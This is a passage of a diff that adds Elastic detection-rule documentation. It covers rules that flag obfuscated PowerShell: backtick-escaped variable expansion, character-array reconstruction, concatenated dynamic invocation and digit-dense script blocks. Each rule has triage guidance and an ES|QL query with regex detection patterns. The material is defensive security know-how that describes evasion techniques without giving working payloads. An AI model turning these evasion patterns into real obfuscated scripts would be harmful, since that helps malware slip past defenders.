estimate how pervasive the obfuscation is. A higher count is more consistent with deliberate evasion than isolated escaping. + - In the matched `${}` segments, assess what the obfuscated expansion is intended to represent by mentally removing backtick escapes and looking for recognizable tokens (cmdlet/function names, variable names, or string literals) that the script is trying to hide. + +- Assess behavior indicated by the script content: + - Identify whether the script uses dynamic invocation patterns, such as building an invocation target at runtime or executing reconstructed strings. + - Look for decoding and deobfuscation constructs (string concatenation, character-by-character reconstruction, data transformation, decompression) that may reveal embedded or second-stage content. + - Extract and document any clear indicators contained in the script text (remote endpoints, file paths, registry paths, service/task names, or additional scripts referenced). Use these indicators to scope impact across hosts. + +- Use alert-side obfuscation metrics to prioritize and focus review: + - Compare `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_unique_symbols`, and `powershell.file.script_block_surprisal_stdev` against what is typical in your environment for administrative scripts. + - Treat scripts with high entropy and many unique symbols as higher risk, especially when combined with multiple obfuscated `${}` expansions. + +- Scope prevalence and recurrence: + - Search for other Script Block Logging events on the same `host.id` and `user.id` that include similar backtick-escaped `${}` patterns. + - Look for repeated occurrences of the same `file.name` / `file.path` across multiple hosts, which may indicate a shared script or distributed execution. + - If the script contains unique strings or indicators, use them to identify additional affected endpoints. + + +*False positive analysis* + + +- Legitimate scripts that implement complex string building or variable-name handling and happen to use backticks within `${}` expansion (more common in developer tooling, templating, or edge-case input handling). +- Auto-generated PowerShell produced by administrative automation that uses nonstandard escaping or runtime string construction. + +When evaluating potential false positives, weigh consistency (same `user.id`, `host.id`, and `file.path` over time) against indicators of compromise (unexpected user/host pairing, high obfuscation density, high entropy, or evidence of follow-on actions). + + +*Response and remediation* + + +- If the activity is suspicious or confirmed malicious: + - Contain the affected endpoint to prevent additional execution and limit potential lateral movement. + - Preserve evidence from the alert, including the full reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence` / `powershell.total`, and any `file.path` / `file.name` values. + - If an on-disk source is indicated by `file.path`, collect the referenced script and related files for review and remove or quarantine malicious artifacts according to your procedures. + - Investigate for follow-on effects suggested by the script content (persistence, payload delivery, configuration changes) and remediate any identified artifacts. + - Review the impacted `user.id` for compromise, revoke active sessions as appropriate, and reset credentials based on your incident response policy. + - Use extracted indicators and distinctive script fragments to hunt for additional affected hosts and users. + +- If the activity is verified benign: + - Document the legitimate script source, expected `file.path` / `file.name`, and the normal execution context (`user.id`, `host.id`) to speed up future triage. + - Monitor for deviations in execution context or significant changes in obfuscation metrics (for example, increased `Esql.script_block_pattern_count` or higher entropy) that could indicate abuse of an otherwise legitimate script. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """\$\{(\w++`){2,}\w++\}""", "🔥") + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + file.name, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc new file mode 100644 index 0000000000..766da96bc5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-character-array-reconstruction]] +=== Potential PowerShell Obfuscation via Character Array Reconstruction + +Detects PowerShell scripts that reconstructs strings from char[] arrays, index lookups, or repeated ([char]NN)+ concatenation/join logic. Attackers use character-array reconstruction to hide commands, URLs, or payloads and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Character Array Reconstruction* + + +This rule identifies PowerShell Script Block Logging content that reconstructs strings at runtime from character codes or character arrays. This technique is commonly used to conceal intent (for example, commands, URLs, or file paths) and can indicate attempts to evade static inspection. + +Focus triage on what strings are being rebuilt, who ran the script, where it ran, and whether the decoded content leads to follow-on activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` and use `Esql.script_block_tmp` to quickly spot the segments that triggered the match. Identify the reconstruction method (for example, `[char[]](...)`, repeated `([char]NN)+` concatenation, joins, or index-based lookups). +- If the script block is split, reconstruct the full content using `powershell.file.script_block_id` together with `powershell.sequence` and `powershell.total`. Verify that all expected sequences are present and in order before drawing conclusions. +- If `powershell.total` indicates multiple fragments but one or more `powershell.sequence` values are missing, treat the script as incomplete context. Attempt to retrieve the missing fragments and consider the possibility of log gaps or ingestion delays. +- Deobfuscate the reconstructed strings by translating numeric character codes and arrays into their resulting text. Capture any decoded values that look like commands, script content, URLs, file paths, registry paths, or encoded blobs. +- After decoding, re-review the full script block content for additional obfuscation layers or execution logic that is not covered by the character reconstruction pattern (for example, secondary decoding steps or dynamically-invoked script). +- Use `Esql.script_block_pattern_count` as a quick measure of how heavily the script relies on this obfuscation pattern. Higher counts typically indicate more deliberate concealment and can help prioritize review. +- Use the script statistics to support prioritization and comparison against expected baselines: `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, `powershell.file.script_block_unique_symbols`, and `powershell.file.script_block_length`. Look for unusually long, high-entropy, or highly variable content relative to known-good PowerShell activity in your environment. +- Review the execution context: `user.name`, `user.domain`, and `user.id` to understand who executed the script and whether the account matches expected administrative or automation usage for the `host.name` and `host.id` involved. +- Review file origin indicators when present: `file.path`, `file.directory`, and `file.name`. Assess whether the script appears to originate from an expected location for your environment versus a user-writable, temporary, or unusual directory. +- Pivot to the source event using `_id` and `_index` to review the full event payload and confirm whether additional relevant `powershell.file.*` context is available for analysis. +- Scope for related activity by searching for additional script blocks that share the same `powershell.file.script_block_id`, similar `powershell.file.script_block_text` content, the same `file.path`, the same `user.id`, or the same `host.id` around the alert time window. +- Correlate the alert timestamp with adjacent telemetry from the same host and user (process activity, network connections, file writes, registry modifications, and authentication events) to identify how PowerShell was launched (including the initiating/parent process) and what occurred immediately before and after the obfuscated content executed. +- If decoded content indicates external communication or secondary payload retrieval, identify potential indicators (domains, IPs, URLs, file names) and check for additional occurrences across other hosts and users. +- If decoded content indicates credential access, lateral movement, or persistence, expand the investigation to related accounts and hosts within the same timeframe and document the full execution chain. + + +*False positive analysis* + + +- Some benign scripts reconstruct strings from character codes for formatting, localization, or to safely represent special characters. These cases are often limited in scope and decode to human-readable, expected values. +- Software deployment, management, or monitoring tooling may generate PowerShell dynamically and use string reconstruction as an implementation detail. Validate whether the script source (`file.path`) and execution context (`user.id`, `host.id`) align with known tooling behavior. +- Internal scripts may use light obfuscation to reduce casual tampering or to embed configuration values. Treat unknown sources, unexpected accounts, or unusually high `Esql.script_block_pattern_count` / `powershell.file.script_block_entropy_bits` as higher risk until validated. +- If determined benign, document the script source and expected execution context (account and host) and retain the decoded strings for faster triage of future alerts. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed, contain the affected host to prevent additional execution and lateral movement. Consider restricting the involved account based on investigation results. +- Preserve evidence: retain the full `powershell.file.script_block_text` and any reconstructed/decoded strings, along with related events for the same `powershell.file.script_block_id` (all `powershell.sequence` values). +- If the script originates from disk (`file.path` present), collect and quarantine the referenced file and review for additional related artifacts created or modified around the alert time window. +- Identify and remediate follow-on actions indicated by the decoded content (for example, downloaded payloads, persistence mechanisms, or changes to system configuration). +- Hunt for spread: search for the same decoded indicators, similar reconstruction patterns, and elevated `Esql.script_block_pattern_count` across other hosts and users. +- If account misuse is suspected, perform appropriate credential hygiene and review recent authentication activity for the affected `user.id` and related accounts. +- Review and strengthen PowerShell controls and monitoring based on findings (for example, ensure Script Block Logging is consistently enabled and that anti-malware scanning integration is functioning as expected). + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter for scripts that contain the "char" keyword using MATCH, boosts the query performance +| where powershell.file.script_block_text : "char" + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """(char\[\]\]\(\d+,\d+[^)]+|(\s?\(\[char\]\d+\s?\)\+){2,})""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc new file mode 100644 index 0000000000..331368c193 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation]] +=== Potential PowerShell Obfuscation via Concatenated Dynamic Command Invocation + +Detects PowerShell scripts that builds commands from concatenated string literals inside dynamic invocation constructs like &() or .(). Attackers use concatenated dynamic invocation to obscure execution intent, bypass keyword-based detections, and evade AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Concatenated Dynamic Command Invocation* + + +This rule identifies PowerShell script block content where a command is built from concatenated string literals and executed through dynamic invocation using the call operator (&) or dot invocation (.). This technique can hide the true command name (for example, splitting cmdlet, function, alias, or script names into fragments) and is often paired with additional obfuscation to hinder quick review. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish scope and execution context: + - Review `host.name` and `host.id` to understand where the script ran, and identify whether the host is an admin workstation, server, or user endpoint. + - Review `user.name`, `user.domain`, and `user.id` to understand who initiated the activity and whether PowerShell use is expected for that identity. + - Use the alert timestamp to bound the activity window for correlation and scoping. + +- Reconstruct the dynamically invoked command(s): + - Review `powershell.file.script_block_text` and use `Esql.script_block_tmp` to quickly locate the dynamic invocation expression(s) inside the script block. + - Identify each invocation using `&(...)` or `.(...)` where multiple quoted strings are joined with `+`. + - Concatenate the quoted string fragments in their observed order to derive the effective command/function/script name being invoked. + - Use `Esql.script_block_pattern_count` to prioritize review; multiple dynamic concatenation invocations in the same script block generally indicate stronger intent to obscure execution. + +- Determine whether the operator changes execution semantics: + - For `&(...)` (call operator), focus on the command being executed and any arguments passed immediately before/after the invocation. + - For `.(...)` (dot invocation), assess whether the script is intended to run in the current scope (for example, to define or modify functions/variables) and whether that scope change is expected for the host and user context. + +- Reassemble full script content when fragmented: + - Pivot on `powershell.file.script_block_id` to locate other fragments of the same script block. + - If `powershell.total` indicates the content is split across multiple events, use `powershell.sequence` and `powershell.total` to reconstruct the full script block in order before making a determination. + +- Identify script origin and persistence opportunities: + - If `file.path`, `file.directory`, or `file.name` are present, determine whether the script block is associated with an on-disk script and whether its location aligns with approved administrative tooling or known automation paths. + - Treat unusual user-writable or temporary locations as higher risk, especially when paired with high `Esql.script_block_pattern_count`. + +- Evaluate obfuscation characteristics and intent: + - Use `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, `powershell.file.script_block_unique_symbols`, and `powershell.file.script_block_length` to assess how atypical the content is compared to known-good scripts in your environment. + - Review surrounding logic in `powershell.file.script_block_text` for additional obfuscation patterns (for example, layered string operations, indirect invocation, or hidden payload material) that may not be captured by this specific match. + +- Correlate with adjacent endpoint activity (if available): + - Pivot using `host.id` and the alert time window to identify the PowerShell host process, its parent process, and any child processes that indicate follow-on execution. + - Review network, file, and registry activity on `host.id` around the same time for signs of payload retrieval, on-disk staging, persistence, or system configuration changes. + - Review authentication activity associated with `user.id` around the same time window for anomalous logons, new session sources, or unusual access patterns. + - Pivot on `user.id` to identify similar activity across other hosts, which may indicate shared automation, credential reuse, or lateral movement. + +- Capture and operationalize investigation artifacts: + - Document the reconstructed command strings, notable script fragments, and any referenced file locations (`file.path`) for escalation and threat hunting. + - Use those artifacts to search for additional occurrences across the environment, focusing on the same `user.id`, `host.id`, and similar `powershell.file.script_block_text` patterns. + + +*False positive analysis* + + +- Administrative scripts, modules, or internal frameworks that dynamically assemble short command names (cmdlets, functions, aliases) via string concatenation before invoking them for indirection or compatibility. +- Legitimate automation that uses dot invocation to load or execute helper logic in the current scope, including scripts that intentionally reduce readability for code protection. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected to be malicious or unauthorized: + - Contain the affected host identified by `host.id` to prevent further execution and potential lateral movement. + - Preserve evidence, including the full reconstructed `powershell.file.script_block_text` (using `powershell.sequence`/`powershell.total` if needed) and any associated on-disk script referenced by `file.path`. + +- If an on-disk script is involved (`file.path` present): + - Acquire the referenced script file for analysis and validate its provenance. + - Remove or quarantine the script if it is unauthorized, and assess for additional copies using the same `file.name` or `file.path` patterns across hosts. + +- If account misuse is suspected: + - Scope recent activity for the implicated `user.id` across hosts, prioritize investigation for privileged accounts, and reset credentials per policy. + - Review and reduce unnecessary privileges associated with the account, especially if PowerShell access is not required. + +- Eradication and recovery: + - Identify and remediate follow-on artifacts discovered during scoping (for example, dropped scripts/binaries or persistence mechanisms) using established response procedures. + - Increase monitoring for recurrence by hunting for similar dynamic concatenation patterns (high `Esql.script_block_pattern_count`) on the same `host.id` and `user.id`. + +- Post-incident hardening: + - Ensure PowerShell Script Block Logging coverage is consistently enabled and centrally collected for systems where PowerShell use is permitted. + - Limit PowerShell use to approved users and hosts, and review controls that reduce the impact of dynamic invocation and obfuscation in your environment. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" and powershell.file.script_block_text like "*+*" + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """[.&]\(\s*(['"][A-Za-z0-9.-]+['"]\s*\+\s*)+['"][A-Za-z0-9.-]+['"]\s*\)""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc new file mode 100644 index 0000000000..4f4554f397 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-high-numeric-character-proportion]] +=== Potential PowerShell Obfuscation via High Numeric Character Proportion + +Detects long PowerShell script block content with unusually high numeric character density (high digit-to-length ratio), often produced by byte arrays, character-code reconstruction, or embedded encoded blobs. Attackers use numeric-heavy obfuscation to conceal payloads and rebuild them at runtime to avoid static inspection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via High Numeric Character Proportion* + + +This rule flags long PowerShell script blocks with unusually digit-dense content. Numeric-heavy script blocks are often used to conceal payloads as byte arrays or character codes that are decoded at runtime. Triage should focus on reconstructing the full script content, determining how it was initiated, and identifying any decoded or executed secondary content. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_ratio`: Proportion of the script block's characters that match the alert's target character set, divided by total script length (0-1). +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` to characterize the numeric content: + - Look for long comma-separated numbers, repeated digit sequences, or `0x`-prefixed values that may represent reconstructed bytes. + - Identify string reconstruction patterns (for example, casting numeric values to characters) and any subsequent decoding or decompression logic. + - Note any execution primitives that would run derived content (for example, invoking dynamically built commands or loading content into memory). +- If the script is fragmented, use `powershell.sequence` and `powershell.total` to collect the related script block events on the same `host.name` and `user.id` and reconstruct the complete content in the correct order before drawing conclusions. +- Establish execution context and scope using `host.name`, `host.id`, `agent.id`, and `user.id`: + - Determine whether the user context is expected to run PowerShell and whether similar script blocks have occurred recently on the same host or by the same user. + - Look for other alerts on the same host or user that could indicate staging, persistence, or lateral movement. +- Assess script origin using `file.path` and `file.directory` when present: + - Determine whether the script is sourced from a location consistent with approved administration or automation workflows. + - If the script is file-backed, check for other security telemetry referencing the same path to identify file creation, modification, or repeated execution patterns. +- Correlate with adjacent telemetry (as available in your environment) using the host and user pivots above: + - Process execution telemetry near the alert time to identify the PowerShell host process and its parent, and to understand how PowerShell was launched. + - Network telemetry for outbound connections or downloads that could support payload retrieval or command and control. + - File activity for dropped payloads or staging artifacts related to the script content or its on-disk source. + + +*False positive analysis* + + +- Legitimate scripts that embed binary content as numeric arrays (for example, packaging resources into scripts or deploying configuration blobs) can appear digit-dense. +- Administrative tooling that generates large reports, inventories, or exports may include extensive numeric identifiers and constants. +- Some legitimate security or management products may produce numeric-heavy PowerShell content as part of automation; validate against known software, expected execution accounts, and change windows. + + +*Response and remediation* + + +- If malicious behavior is suspected, contain the affected host to prevent further execution and reduce the risk of follow-on activity. +- Preserve the script content from `powershell.file.script_block_text` (and any reconstructed multi-part content) for deeper analysis and to support incident response and retrospective hunting. +- If `file.path` is present and the source is not authorized, remove or quarantine the script and investigate related host artifacts and execution mechanisms. +- Investigate potential account compromise for the associated `user.id` by reviewing recent authentication and endpoint activity; take credential and session remediation actions in line with your procedures. +- Hunt for related activity using `host.id`, `agent.id`, `user.id`, and distinctive script patterns identified during triage to find additional impacted systems. +- Apply preventive controls based on findings, such as tightening PowerShell usage for affected accounts, improving script provenance controls, and enhancing monitoring for similar obfuscation patterns. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 1000 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """[0-9]""", "🔥") + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = Esql.script_block_length - length(replace(Esql.script_block_tmp, "🔥", "")) + +// Calculate the ratio of special characters to total length +| eval Esql.script_block_ratio = Esql.script_block_pattern_count::double / Esql.script_block_length::double + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_ratio, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.directory, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts with high numeric character ratio +| where Esql.script_block_ratio > 0.5 + +// Exclude Windows Defender Noisy Patterns +| where not ( + file.directory == "C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads" or + file.directory like ( + "C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender Advanced Threat Protection\\\\DataCollection*", + "C:\\\\Program Files\\\\SentinelOne\\\\Sentinel Agent*" + ) + ) + // ESQL requires this condition, otherwise it only returns matches where file.directory exists. + or file.directory is null +| where not powershell.file.script_block_text like "*[System.IO.File]::Open('C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender Advanced Threat Protection\\\\DataCollection*" +| where not powershell.file.script_block_text : "26a24ae4-039d-4ca4-87b4-2f64180311f0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: 